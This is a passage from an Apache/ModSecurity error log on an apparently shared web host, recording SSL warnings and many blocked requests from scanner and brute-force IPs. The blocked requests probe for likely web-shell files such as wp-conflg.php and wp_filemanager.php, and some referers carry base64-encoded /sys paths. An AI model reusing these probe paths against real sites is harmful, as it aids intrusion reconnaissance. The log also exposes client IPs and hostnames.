certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.883465 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: arabcgt.org:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.886972 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: andrewperfetti.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.892009 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: aitess-sa.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.906680 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: co-opportunities-org.dennis-cooper.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.907050 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: beetreefolkschool-org.dennis-cooper.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.907825 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: admin.dennis-cooper.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.935867 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: codeproblem.hamaraquetta.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.936232 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: hamaraquetta-net2015.hamaraquetta.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.938293 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: charlesedge.ethimex.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.938976 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: canmorewhisky.ethimex.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.939340 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: scotsgoldwhisky.ethimex.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.940274 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: charlesedge-co-uk.ethimex.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.940902 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: londonsquarespirits.ethimex.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.941235 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: scotsgoldwhisky-co-uk.ethimex.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.942176 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: ethimexcasksolutions-co-uk.ethimex.com:443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.945013 2026] [ssl:warn] [pid 528321:tid 528321] AH01909: localhost:8443:0 server certificate does NOT include an ID which matches the server name [Sat Jun 13 18:06:46.965597 2026] [qos:notice] [pid 528321:tid 528321] mod_qos(007): calculated MaxClients/MaxRequestWorkers (max connections): 6144, applied limit: 2048 (QS_MaxClients) [Sat Jun 13 18:06:47.270937 2026] [http2:info] [pid 528321:tid 528321] AH03090: mod_http2 (v2.0.42, feats=CHPRIO+SHA256+INVHD+DWINS, nghttp2 1.69.0), initializing... [Sat Jun 13 18:06:47.278883 2026] [mpm_event:notice] [pid 528321:tid 528321] AH00489: Apache/2.4.68 (cPanel) OpenSSL/3.5.5 Apache mod_qos/11.76 mod_bwlimited/1.4 mod_fcgid/2.3.9 mod_rbld2.0 configured -- resuming normal operations [Sat Jun 13 18:06:47.278895 2026] [core:notice] [pid 528321:tid 528321] AH00094: Command line: '/usr/sbin/httpd' [Sat Jun 13 18:06:48.344745 2026] [http2:info] [pid 531155:tid 531155] h2_workers: created with min=128 max=192 idle_ms=600000 [Sat Jun 13 18:06:48.370019 2026] [security2:error] [pid 531155:tid 531309] [client 191.234.188.123:64631] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/kj.php"] [unique_id "ai3wmCmiP80klyS0Nnre3QAAASI"] [Sat Jun 13 18:06:48.370069 2026] [security2:error] [pid 531155:tid 531286] [client 191.233.234.186:41485] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.kawasakiz1.com"] [uri "/yoy123.php"] [unique_id "ai3wmCmiP80klyS0Nnre1wAAAQs"] [Sat Jun 13 18:06:48.370098 2026] [security2:error] [pid 531155:tid 531287] [client 89.251.0.66:39403] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 66.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-includes/assets/min.php"] [unique_id "ai3wmCmiP80klyS0Nnre2gAAAQw"] [Sat Jun 13 18:06:48.371999 2026] [security2:error] [pid 531155:tid 531312] [client 191.233.234.186:33689] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/auto.php"] [unique_id "ai3wmCmiP80klyS0Nnre3wAAASU"] [Sat Jun 13 18:06:48.373098 2026] [security2:error] [pid 531155:tid 531317] [client 146.103.118.38:55685] ModSecurity: Access denied with code 406 (phase 1). IPmatchFromFile: "146.103.118.38" matched at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1090"] [id "999022"] [msg "Blacklisted IP Address for POST data StopForumSpam List"] [hostname "www.afrilech.org"] [uri "/wp-comments-post.php"] [unique_id "ai3wmCmiP80klyS0Nnre4AAAASo"], referer: http://www.afrilech.org/hello-world/ [Sat Jun 13 18:06:48.373167 2026] [security2:error] [pid 531155:tid 531317] [client 146.103.118.38:55685] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "406"] [hostname "www.afrilech.org"] [uri "/wp-comments-post.php"] [unique_id "ai3wmCmiP80klyS0Nnre4AAAASo"], referer: http://www.afrilech.org/hello-world/ [Sat Jun 13 18:06:48.376000 2026] [security2:error] [pid 531155:tid 531329] [client 191.233.234.186:35185] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.worldsolarprous.com"] [uri "/777.php"] [unique_id "ai3wmCmiP80klyS0Nnre4wAAATY"] [Sat Jun 13 18:06:48.377005 2026] [security2:error] [pid 531155:tid 531333] [client 20.151.217.54:3106] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.captpeacock.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3wmCmiP80klyS0Nnre5AAAATo"] [Sat Jun 13 18:06:48.379377 2026] [security2:error] [pid 531155:tid 531345] [client 20.151.217.54:48191] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3wmCmiP80klyS0Nnre6wAAAUY"] [Sat Jun 13 18:06:48.382119 2026] [security2:error] [pid 531155:tid 531353] [client 191.233.234.186:53473] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/loxico93.php"] [unique_id "ai3wmCmiP80klyS0Nnre7gAAAU4"] [Sat Jun 13 18:06:48.382475 2026] [security2:error] [pid 531155:tid 531357] [client 191.233.234.186:44745] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/s-axi.php"] [unique_id "ai3wmCmiP80klyS0Nnre8AAAAVI"] [Sat Jun 13 18:06:48.496202 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.108:21025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.496695 2026] [access_compat:error] [pid 531155:tid 531199] [remote 57.141.14.108:21025] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.533487 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.82:42760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.533932 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.82:42760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.535799 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.6:32002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.536222 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.6:32002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.541193 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:42330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:06:48.576810 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:42330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:06:48.590872 2026] [security2:error] [pid 531155:tid 531217] [remote 17.241.219.179:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmCmiP80klyS0NnrfLAABcD0"] [Sat Jun 13 18:06:48.586829 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.11:38717] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.605015 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.11:38717] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.583710 2026] [security2:error] [pid 531155:tid 531285] [client 172.56.168.133:62178] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wmCmiP80klyS0NnrfIQAAAQo"] [Sat Jun 13 18:06:48.620498 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.24:56766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.646237 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.24:56766] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.618099 2026] [security2:error] [pid 531155:tid 531224] [remote 17.241.75.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmCmiP80klyS0NnrfMwABMkQ"] [Sat Jun 13 18:06:48.651663 2026] [access_compat:error] [pid 531155:tid 531223] [remote 216.73.217.87:64111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.657279 2026] [access_compat:error] [pid 531155:tid 531223] [remote 216.73.217.87:64111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.674331 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.14:23626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.686882 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.14:23626] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.700584 2026] [security2:error] [pid 531155:tid 531285] [client 172.56.168.133:62178] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wmCmiP80klyS0NnrfIQAAAQo"] [Sat Jun 13 18:06:48.768855 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.227.22:44990] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mw== [Sat Jun 13 18:06:48.769291 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.227.22:44990] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mw== [Sat Jun 13 18:06:48.787418 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.78:62500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.794103 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.78:62500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:48.801295 2026] [security2:error] [pid 531155:tid 531249] [remote 17.241.227.21:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmCmiP80klyS0NnrfVwABH10"] [Sat Jun 13 18:06:48.822872 2026] [security2:error] [pid 531155:tid 531250] [remote 17.22.245.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmCmiP80klyS0NnrfWQABEV4"] [Sat Jun 13 18:06:48.881904 2026] [security2:error] [pid 531155:tid 531251] [remote 17.22.237.58:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 58.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmCmiP80klyS0NnrfWgABgl8"] [Sat Jun 13 18:06:48.986024 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.105:21478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:48.986522 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.105:21478] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.001335 2026] [security2:error] [pid 531155:tid 531279] [remote 17.246.15.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmCmiP80klyS0NnrfegABRns"] [Sat Jun 13 18:06:49.012588 2026] [security2:error] [pid 531155:tid 531275] [remote 17.241.227.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmCmiP80klyS0NnrfeAABiXc"] [Sat Jun 13 18:06:49.034772 2026] [security2:error] [pid 531155:tid 531156] [remote 17.246.15.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmSmiP80klyS0NnrffQABVwA"] [Sat Jun 13 18:06:49.051604 2026] [access_compat:error] [pid 531155:tid 531271] [remote 57.141.14.103:60310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.052072 2026] [access_compat:error] [pid 531155:tid 531271] [remote 57.141.14.103:60310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.060474 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.96:59127] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.072594 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.78:28406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.073080 2026] [access_compat:error] [pid 531155:tid 531266] [remote 57.141.14.78:28406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.078885 2026] [security2:error] [pid 531155:tid 531200] [remote 17.22.253.58:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 58.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmSmiP80klyS0NnrfgwABbiw"] [Sat Jun 13 18:06:49.079689 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.111:50444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.080173 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.111:50444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.096228 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.96:59127] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.112997 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.110:48622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.113478 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.110:48622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.143443 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.107:64559] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.159612 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.107:64559] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.132478 2026] [security2:error] [pid 531155:tid 531241] [remote 57.141.14.102:22425] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/beta/content/histanddynasties/content/histanddynasties/Liao/SouthernChen/content/studyingchars/SouthernQi/SouthernQi/Ming/NorthernSong/Qing/Tang/Tang/kangxi.php"] [unique_id "ai3wmSmiP80klyS0NnrfgQABYFU"] [Sat Jun 13 18:06:49.180670 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.28:63472] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.193856 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.28:63472] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.199564 2026] [security2:error] [pid 531155:tid 531309] [client 89.251.0.72:60019] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "ai3wmSmiP80klyS0NnrfkgAAASI"] [Sat Jun 13 18:06:49.215847 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.85:41860] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.216315 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.85:41860] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.278212 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.73:54486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.278658 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.73:54486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.290205 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9pZA== [Sat Jun 13 18:06:49.323503 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9pZA== [Sat Jun 13 18:06:49.358218 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOA== [Sat Jun 13 18:06:49.358669 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yOA== [Sat Jun 13 18:06:49.369473 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.11:21085] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.377934 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.11:21085] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.397827 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.13:63883] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:49.398438 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.13:63883] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:49.400476 2026] [security2:error] [pid 531155:tid 531310] [client 191.234.188.123:48068] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: 